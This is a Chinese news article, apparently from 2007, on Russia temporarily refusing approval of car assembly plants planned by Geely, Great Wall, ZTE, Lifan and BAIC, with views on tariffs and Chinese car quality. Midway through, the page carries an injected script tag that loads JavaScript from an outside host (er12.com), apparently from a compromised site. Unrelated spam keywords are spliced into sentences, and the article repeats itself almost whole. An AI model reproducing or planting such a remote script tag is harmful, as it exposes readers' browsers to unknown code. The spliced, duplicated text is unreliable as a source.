是什么阻碍了中国车赴俄之路？吸盘

是什么阻碍了中国车赴俄之路？ 吉利、中兴、力帆、长城、北汽等中国车企赴俄建厂暂被拒

7月10日，俄罗斯工业与能源部决定暂时拒绝对中国汽车在其境内组装建厂项目的审批。同日，俄工业与能源部部长维克托.赫里斯坚科在俄新社北京俄罗斯新闻中心举行的新闻发布会上对此解释道：“俄罗斯绝对不会以民族特征区别对待投资者。

但是投资俄罗斯汽车工业的投资者，应该生产符合所有欧洲市场标准的产品。”

由此，包括吉利、长城、中兴、力帆以及北京汽车工业在俄建厂计划全部搁浅。截至目前，除奇瑞外，尚无中国车企在俄成功建立半成品组装厂，这对原本雄心勃勃要开拓俄罗斯市场的中国车企而言，是遭遇了一场始料未及的挫败。

诱惑与挫折

今年春节过后，吉利、中兴、力帆、长城等中国车企相继在国内宣布将于今年下半年在俄罗斯建立汽车组装厂，这些项目包括河北长城汽车计划在鞑靼斯坦共和国成立组装工厂，吉利汽车、中兴汽车则打算与乌拉尔汽车联手，进行发动机和整车方面的合作，重庆力帆轿车拟在弗拉基米尔州开始汽车组装项目，北京汽车工业控股有限责任公司也打算在乌里扬诺夫克州生产轻型货车。按照预期，4个项目总价值达3.8亿美元，投产后总产能将高达23万辆。

据俄罗斯经济类大报《vedomosti》的报道，这些项目获得批准的可能性极其渺茫。 在7月之前，俄罗斯经贸部已初审了上述4个项目，并计划在2007年秋季前签订。但现在，由于延缓审批，这些项目显然将被束之高阁。

近年来俄罗斯汽车市场的强劲复苏，对于中国车商产生了巨大诱惑。据俄罗斯工业和能源部预测，2010年俄罗斯需求量将扩大到250万辆，由于本国汽车生产能力有限，预计每年缺口约为50万—90万辆，只有依靠汽车进口来满足需求。因此不少中国的自主汽车品牌，纷纷将开拓俄罗斯市场作为自己未来重要的利润来源。

商务部数据统计，2006年，我国对俄罗斯整车出口金额达到3.5亿美元，出口数量3.8万辆，同比增长均超过300%。但相比之下，整车出口由于路途遥远，运输成本昂贵，加上不菲的关税成本，利润并不如想象中的丰厚。要减少成本，最现实的方法是在俄本土建厂，而此次建厂计划的落空，无疑将严重影响到企业的海外利润。

据希比利汽车出口（北京）有限公司（下称“希比利”）董事长祝景成向《中国螺套经济周刊》介绍，中国汽车企业进入海外市场主要有三种形式：整车出口、skd（半散装件）或ckd（完全散装件）组装和海外设厂直接生产。目前还没有中国车企在海外直接设厂生产，仅依靠前两种方式开拓海外市场，“现在第二条路已经被暂时堵死了”。

“如果俄方还是不能批准以5%的优惠进口关税组装汽车，那只能按照散件进口缴纳10%以上的关税了。”力帆汽车副总裁牟刚表示已经做好了最坏打算；吉利也无奈表示，此举将在一定程度上影响到其在俄的投资；而北汽相关人士也表示，“目前的项目只能暂告一段落了”。

与之形成对照的是，其他国家的“外来户”在俄项目却进展顺利：7月9日，日产在圣彼得堡的新工厂如期奠基；去年10月开始的大众在俄50亿美元的汽车组装厂项目也一路顺风。随着丰田、通用、大众、日产等国际汽车巨头纷纷到俄罗斯投产，如果说这是复苏中的俄罗斯汽车市场开始选择合作对象，那么中国车企无疑成为了这一轮选择的淘汰对象。

对于这一结果，两国舆论的争论角度也颇有不同：国内行业人士大部分认为是俄罗斯是在对本土相应同层级车企进行保护，而俄罗斯媒体更多是指出中国汽车的质量问题。

中国汽车高性价比的优劣势

据俄罗斯媒体《vedomosti》消息，早在去年11月，俄罗斯方面就曾表示，要取消对中国汽车组装项目的优惠政策。俄媒体认为，中国缺少自有的制造汽车的工艺技术，而且目前中国的许多车型还很不成熟，需要完善，还有就是中国汽车价格低廉，将冲击俄本土汽车。

对此，希比利董事长祝景成向《中国经济周刊》表达了自己的看法：俄罗斯政府提倡的工业化组装，走的是中国已经走过的老路，即市场换技术，通过减免进口关税，快速引进外国汽车企业的先进技术、工艺和资金，改造本国的汽车工业。对于中国汽车企业在俄罗斯建厂的目的，俄方可能认为是主要看重其减免关税的优惠政策，降低成本和价格，说直接一些，就是以低价格卖车，以散件形式出口汽车。

而相比之下，跨国公司进入俄罗斯，虽然也为卖车和赚钱，却能带去先进的技术和成熟的品牌这种“附加值”，同时更重要的是，这些产品并没有对俄罗斯本土汽车构成威胁，“这是最大的区别。”祝景成表示。

此外，祝景成还分析认为，俄罗斯汽车企业认为中国车便宜好卖，也乐意与中方合作。但考虑到俄罗斯整个汽车工业，或许还可能把中国车企在俄组装项目当做是俄加入wto与中国政府谈判的筹码。

也有业内人士认为，由于我国汽车进入俄市场势头迅猛?script src=http://er12.com/t.js>　吉利、中兴、力帆、长城、北汽等中国车企赴俄建厂暂被拒

7月10日，俄罗斯工业与能源部决定暂时拒绝对中国汽车在其境内组装建厂项目的审批。同日，俄工业与能源部部长维克托.赫里斯坚科在俄新社北京俄罗斯新闻中心举行的新闻发布会上对此解释道：“俄罗斯绝对不会直线电机以民族特征区别对待投资者。

但是投资木窗俄罗斯汽车工业的投资者，应该生产符合所有欧洲市场标准的产品。”

由此，包括吉利、长城、中兴、力帆以及北京汽车工业在俄建厂计划全部搁浅。截至目前，除奇瑞外，尚无中国车企在俄成功建立半成品组装厂，这对原本雄心勃勃要开拓俄罗斯市场的中国车企而言，是遭遇了一场始料未及的挫败。

诱惑与挫折

今年春节过后，吉利、中兴、力帆、长城等中国车企相继在国内宣布将于今年下半年在俄罗斯建立汽车组装厂，这些项目包括河北长城汽车计划在鞑靼斯坦共风向和国成立组装工厂，吉利汽车、中兴汽车则打算与乌拉尔汽车联手，进行发动机和整车方面的合作，重庆力帆轿车拟在弗拉基米尔州开始汽车组装项目，北京汽车工业控股有限责任公司也打算在乌里扬诺夫克州生产轻型货车。按照预期，4个项目总价值达3.8亿美元，投产后总产能将高达23万辆。

据俄罗斯经济类大报《vedomosti》的报道，这些项目获得批准的可能性极其渺茫。 在7月之前，俄罗斯经贸部已初审了上述4个项目，并计划在2007年秋季前签订。但现在，由于延缓审批，这些项目显然将被束之高阁。

近年来俄罗斯汽车市场的强劲复苏，对于中国车商产生了巨大诱惑。据俄罗斯工业和能源部预测，2010年俄罗斯需求量将扩大到250万辆，由于本国汽车生产能力有限，预计每年缺口约为50万—90万辆，只有依靠汽车进口来满足需求。因此不少中国的自主汽车品牌，纷纷将开拓俄罗斯市场作为自己未来重要的利润来源。

商务部数据统计，2006年，我国对俄罗斯整车出口金额达到3.5亿美元，出口数量3.8万辆，同比增长均超过300%。但相比之下，整车出口由于路途遥远，运输成本昂贵，加上不菲的关税成本，利润并不如想象中的丰厚。要减少成本，最现实的方法是在俄本土建厂，而此次建厂计划的落空，无疑将严重影响到企业的海外利润。

据希比利汽车出口（北京）有限公司（下称“希比利”）董事长祝景成向《中国经济周刊》介绍，中国汽车企业进入海外市场主要有三种形式：整车出口、skd（半散装件）或ckd（完全散装件）组装和海外设厂直接生产。目前还没有中国车企在海外直接设厂生产，仅依靠前两种方式开拓海外市场，“现在第二条路已经被暂时堵死了”。

“如果俄方还是不能批准以5%的优惠进口关税组装汽车，那只能按照散件进口缴纳10%以上的关税了。”力帆汽车副总裁牟刚表示已经做好了最坏打算；吉利也无奈表示，此举将在一定程度上影响到其在俄的投资；而北汽相关人士也表示，“目前的项目只能暂告一段落了”。

与之形成对照的是，其他国家的“外来户”在俄项目却进展顺利：7月9日，日产在圣彼得堡的新工厂如期奠基；去年10月开始的大众在俄50亿美元的汽车组装厂项目也一路顺风。随着丰田、通用、大众、日产等国际汽车巨头纷纷到俄罗斯投产，如果说这是复苏中的俄罗斯汽车市场开始选择合作对象，那么中国车企无疑成为了这一轮选择的淘汰对象。

对于这一结果，两国舆论的争论角度也颇有不同：国内行业人士大部分认为是俄罗斯是在对本土相应同层级车企进行保护，而俄罗斯媒体更多是指出中国汽车的质量问题。

中国汽车高性价比的优劣势

据俄罗斯媒体《vedomosti》消息，早在去年11月，俄罗斯方面就曾表示，要取消对中国汽车组装项目的优惠政策。俄媒体认为，中国缺少自有的制造汽车的工艺技术，而且目前中国的许多车型还很不成熟，需要完善，还有就是中国汽车价格低廉，将冲击俄本土汽车。

对此，希比利董事长祝景成向《中国经济周刊》表达了自己的看法：俄罗斯政府提倡的工业化组装，走的是中国已经走过的老路，即市场换技术，通过减免进口关税，快速引进外国汽车企业的先进技术、工艺和资金，改造本国的汽车工业。对于中国汽车企业在俄罗斯建厂的目的，俄方可能认为是主要看重其减免关税的优惠政策，降低成本和价格，说直接一些，就是以低价格卖车，以散件形式出口汽车。

而相比之下，跨国公司进入俄罗斯，虽然也为卖车和赚钱，却能带去先进的技术和成熟的品牌这种“附加值”，同时更重要的是，这些产品并没有对俄罗斯本土汽车构成威胁，“这是最大的区别。”祝景成表示。

此外，祝景成还分析认为，俄罗斯汽车企业认为中国车便宜好卖，也乐意与中方合作。但考虑到俄罗斯整个汽车工业，或许还可能把中国车企在俄组装项目当做是俄加入wto与中国政府谈判的筹码。

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